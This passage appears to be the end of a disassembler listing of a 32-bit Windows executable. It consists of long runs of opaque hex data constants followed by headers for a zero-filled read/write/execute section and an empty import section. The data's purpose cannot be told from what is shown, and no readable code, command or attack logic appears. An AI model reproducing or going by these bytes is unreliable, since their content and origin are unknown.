5C7CA9B1h, 0FCBC810Ah, 7C36AEA2h, 0BB54F49h, 1E71BEABh dd 0EE5766D4h, 0A4C76F8Bh, 51711EEAh, 35612AFBh, 0BB9139B0h dd 18A9A6D1h, 0EDFFFE87h, 0A049307Bh, 9B6F3E3Dh, 6679EA89h dd 313DAB65h, 6D5F5949h, 0D5C3B101h, 0A2135328h, 4876D65h dd 1730B76Ah, 0E6DE7E8Dh, 43E56BC2h, 0E2E70C8h, 0CB24507Dh dd 0D5A804AEh, 5112D0CFh, 651F115Dh, 0B4B52D3Dh, 0A63C0E47h dd 0DBF1037Dh, 0DCADE3E5h, 0B18775CBh, 7D4CEAEFh, 3610E06Bh dd 4FC3F63h, 0C67531B4h, 0F75E5649h, 0D087F585h, 0DCF47B0Eh dd 88DED595h, 11E0B02Ah, 0B648C8C9h, 0A5F7DA48h, 0CCDAB6FFh dd 19F825E0h, 63FD1506h, 920E9596h, 0B5C29276h, 8F457572h dd 4DDE84ACh, 9DBB2BE6h, 0DF6E905Ah, 74AD6925h, 2FB80992h dd 0EA75E3BBh, 0F2A547A1h, 43400ADEh, 31198698h, 5B7C25BEh dd 0A9E62CBFh, 59960C16h, 80C08841h, 0B1E096AEh, 44445C08h dd 16D16E7Dh, 0FFB50C30h, 249393F1h, 8B43950Eh, 844D1DE0h dd 0E8F727BCh, 0AA8B20EAh, 0A5EB79C2h, 52DD7508h, 5FFB404Dh dd 361B09FBh, 60F1D6D2h, 0E61299F1h, 9D48F776h, 898F84CCh dd 0AE5CABB6h, 0B3A85A8Ah, 148678CCh, 0AC1380C9h, 98843DFBh dd 578488C2h, 4661791Fh, 0D3D4389Bh, 6640AFBAh, 0A987FAEEh dd 4F854716h, 55FDE4C2h, 58A74E96h, 69AE811Ch, 39C915DCh dd 4F769054h, 0B717E8D9h, 839C4695h, 0D86F8346h, 0B516FB2Ch dd 9F6C76EDh, 0B777A803h, 0DFA18AC8h, 0B0ADD52Eh, 0B448F219h dd 1271C311h, 0AC01E8CCh, 8E7509E1h, 0D84CF587h, 0C7AC7A82h dd 403BA837h, 4B3BF154h, 0E80CD214h, 0FD78D2B2h, 3D9D0096h dd 841E09h, 648D8472h, 0F0042280h, 0E68446DAh, 0AA005CC0h dd 3AAD5F20h, 0AC4E965h, 0E4A6B3D6h, 0A66212E0h, 22A54AF1h dd 0F2F376EDh, 3DD90C2Bh, 8B8A10AEh, 0E4DF33D7h, 4A9F6A01h dd 0CAF6FFC7h, 0E654B7h, 6B44630Eh, 0C94CDC7h, 4FF3901Fh dd 1D400724h, 124F5AC3h, 0C95C6425h, 0CC2CD01Bh, 0CB80FA1h dd 243BCEF8h, 6282C0B9h, 0D78F02BDh, 19CE457Dh, 40AE9225h dd 0A337F72Dh, 0E120106Ch, 0CA5E201h, 0CE4D0B9Dh, 0D9E41F8Ch dd 0D38CA1BFh, 0B575E042h, 411A390Dh, 3CC49882h, 0A0301886h dd 9CC321AEh, 7EA2752Dh, 91D0DA23h, 0D15A6995h, 194C0A0Fh dd 43BD66BFh, 2A6C37D4h, 0A484361Fh, 34BC3E5Ch, 0D77A89D4h dd 29060302h, 5FBB0779h, 1574C8ACh, 709261DDh, 769A1581h dd 74615F1Ch, 0BE242A51h, 0C335B472h, 81AE7B43h, 16B02C3Bh dd 0CEC62D4h, 0ECA25E0Bh, 93EF6024h, 9306443Dh, 0B3DB256Ah dd 85978447h, 62191C8Ch, 0A04BC700h, 49842B6Bh, 0E8A29EB4h dd 0AC60FA8Eh, 7139798Eh, 43F7F6BFh, 6101E0FAh, 0BA08A84Bh dd 0D58E6D00h, 0C72CC215h, 0BB91A3Eh, 3BFDF4E7h, 80EFCA6Dh dd 75960DBh, 949279h, 0D46E1FBh, 7D88F94h, 0B946F257h dd 0AF61CBAAh, 0AAF46F22h, 0ADF4F5FCh, 4438013Eh, 37A31395h dd 60E62FAFh, 350D454Eh, 1CDE4786h, 0A388ECBBh, 18AB713Bh dd 9B1DEF88h, 57E5615Bh, 9BC7BCE3h, 14D99424h, 204F84E2h dd 6838B68Bh, 63A4C44Eh, 704D9713h, 62CCCCCAh, 0A0497A19h dd 0DBB7FF8Bh, 3D46E8F1h, 945BCAFCh, 0CB6EA0E2h, 0CB68A3CFh dd 0FE51129Bh, 14AB696h, 0D16C6990h, 0BC7D20DCh, 5F061D77h dd 9B082477h, 4C7916A2h, 0BCEEECC6h, 40E8E394h, 49843975h dd 0FC659509h, 814B6AAh, 0AC131D8Ah, 9C65A15Ah, 0AB38048h dd 0B3728E21h, 74D3605Ch, 7AAB4D11h, 0AA78FD27h, 0DF256BD5h dd 37392504h, 0A4A2913Fh, 8F5683Ah, 4A9EB324h, 0E9BA805Dh dd 12299322h, 0B0AADF34h, 4551D158h, 2C389EE5h, 4B4FA6CFh dd 17B847E3h, 865BBAA1h, 0B62BD5DDh, 736D20B8h, 0A71EEF2Eh dd 8A64AD60h, 0A27DB9DBh, 33ED4C2Eh, 1CDA0DECh, 70B5BF2h dd 93E8A59h, 734340Ch, 5B0B38BAh, 3320252Ah, 7B3810E5h dd 9B2BB7BDh, 9AE5F95Eh, 0C01CE8A1h, 2E5498B3h, 1F995FB1h dd 7EA2551Ch, 0F9CC2B90h, 0E8AEFAE0h, 0BCB985C5h, 399B70EBh dd 1E67249Ah, 15405325h, 0C52F6326h, 0BF4E30BCh, 0DDFA44A1h dd 415E17A8h, 0C2D49644h, 0F15997C0h, 0ABBEF2C3h, 0B05F6176h dd 58D05665h, 0F11900F1h, 9F19B4E8h, 0FCFEF6Eh, 63CDA41Ah dd 0BB63BC52h, 0EE6B76FCh, 2A699A64h, 0D9E67C00h, 0E901E9Dh dd 54448508h, 4560BBA4h, 0B407D742h, 334C6A6h, 43B6617Bh dd 4D52DD87h, 36D293C8h, 3D25BC44h, 7B2D7553h, 217D6FBCh dd 73B447E2h, 0CDE44E81h, 0D18FBCC2h, 0D08DA245h, 6040E3C7h dd 0A997B18Ah, 1E3CF0CAh, 0D581A41h, 5B0F2D96h, 3C18E24Dh dd 319D1447h, 4F179A9Ch, 28A48A1Ah, 7BB3C157h, 0B214F334h dd 3CAAh, 9A0A635Eh, 8F36A146h, 5F4DA9C5h, 0E0384A5Eh dd 0A1F43DABh, 444468E0h, 0B4D26D8Fh, 6B111E9Fh, 48EBC49Dh dd 0AAFD47D1h, 0DDFC8ACBh, 0F87ABD4Eh, 0C93E4DC1h, 75BDB5A2h dd 0C98C8491h, 8BC621F1h, 26C94244h, 94B727A7h, 64A7EE30h dd 1D78AEF7h, 8CA81C22h dd 0A6AAF331h, 0FD89635Ch, 0DF12FDDh, 0D0E25357h, 698A4EB8h dd 0C7327063h, 932BBB67h, 0D71D470Dh, 283A3215h, 3818865Ah dd 2B57AACAh, 94A36CFh, 2C3050A7h, 83D4ED4Ch, 6A087DEh dd 0BE592BB5h, 2C30058Ch, 4DAAF6Dh, 7FCFF851h, 0B3E7EC9Ah dd 0BFF442CBh, 0B31D8946h, 84FDB8D1h, 77EEED43h, 0C9E48488h dd 91C7E0E7h, 0B478142h, 0D9763C98h, 0EDBCBD32h, 1BE9AA1Dh dd 7F78FBE9h, 5D4275CFh, 0FC444CAFh, 0B42A6493h, 33BFB29Fh dd 0A685AE9Fh, 65FBE198h, 1F70FA14h, 0CD5BFE02h, 0ED8D6D6Bh dd 0A4CC7C5Bh, 0E39EC5ACh, 0BE4DFC9Fh, 6C789077h, 0B6BB4F74h dd 0C83969E1h, 0A906752Ch, 0CDDD4518h, 8494B898h, 3C1AD4E0h dd 0DA19D4ACh, 9F85F3DFh, 569C2DEBh, 0C62028AEh, 0B1E915ABh dd 0C21431CEh, 42422929h, 7CDFA857h, 165FB366h, 0D8BAAE86h dd 9DCD24DAh, 6A54AD1Bh, 0E68F9AFAh, 0B6E62878h, 6A117A83h dd 98C97A5h, 6772169Dh, 0D3F45913h, 0CA1763D1h, 0A95CB437h dd 0B090C3C4h, 0B9DDE5F5h, 6CD1DBCFh, 0E80E3ED8h, 24B57E5Ah dd 73E7511Eh, 0FDD09B13h, 1E0F3C8Ah, 0D89C53EAh, 0FD57E919h dd 9AE702EBh, 0C8A57D71h, 0BA16FD6h, 0B91CB933h, 3DE80596h dd 599840Dh, 8D751181h, 0D98577A9h, 2D4C246Ah, 0F7EA7963h dd 3AC47481h, 0D1EC75D5h, 70E25709h, 407C162Fh, 61F2C6D1h dd 0C86B9562h, 3E88FD8Fh, 69C79B16h, 37BF18FDh, 7873078h dd 66D2D0C8h, 568ABBD2h, 49FE4557h, 68E410F1h, 0CCBDCF56h dd 0B67A8E66h, 0E946EC21h, 0C9F15686h, 0CF6234E9h, 70ED814Ch dd 0A1995EC2h, 7C9C76FCh, 0BDA05E6Ch, 199445A4h, 9E2187F5h dd 0B0011A5Ch, 42D1C733h, 5C22BC67h, 27D5E8F8h, 0EA171C19h dd 0D677F031h, 72FDF193h, 52F81BCh, 7262704Ah, 35EF5422h dd 8BF60260h, 0FBD8C013h, 0BFA618D2h, 0C42053BCh, 45F00E6Ch dd 325E76E5h, 0EC941296h, 82528E3h, 14922CEBh, 0A6DDC35Dh dd 287747A7h, 1508D5D6h, 0B9F956DAh, 9DB50819h, 20E97D78h dd 0FA69165Eh, 0AF6B5A2Eh, 1235D458h, 7784480Bh, 3B344CFEh dd 9AFCC900h, 244DDB30h, 318AF420h, 334B7327h, 0BA4EEDC1h dd 8B40DCB8h, 249F7E65h, 8F3C0F64h, 5930AF6Dh, 552993Bh dd 69727BABh, 0BAEC1A8Bh, 395B8EB4h, 0C476C466h, 0C96F1110h dd 4C4CF8EEh, 91D8D2Eh, 0E405EE7Bh, 3470DC31h, 7D04688Ah dd 0CF082589h, 0D5637B7Eh, 266CEB5Bh, 91256B36h, 60A331BCh dd 0CCBA8C68h, 2327A5BAh, 4DD93FD6h, 0C71CE135h, 37A4F552h dd 1DE2BD89h, 61184989h, 0BBF4AB09h, 28DB28ABh, 0EA0F2744h dd 0DE4D06D8h, 0FB33623h, 0C8EC2965h, 0B3F5FBD2h, 0A30FFBE9h dd 1B965077h, 0C7E47A25h, 637276BEh, 300h dup(0) _data ends ; Section 5. (virtual address 0007C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0007C000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 47C000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 400h dup(0) _adata ends ; Section 6. (virtual address 0007D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0007D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 47D000h align 2000h _idata2 ends end start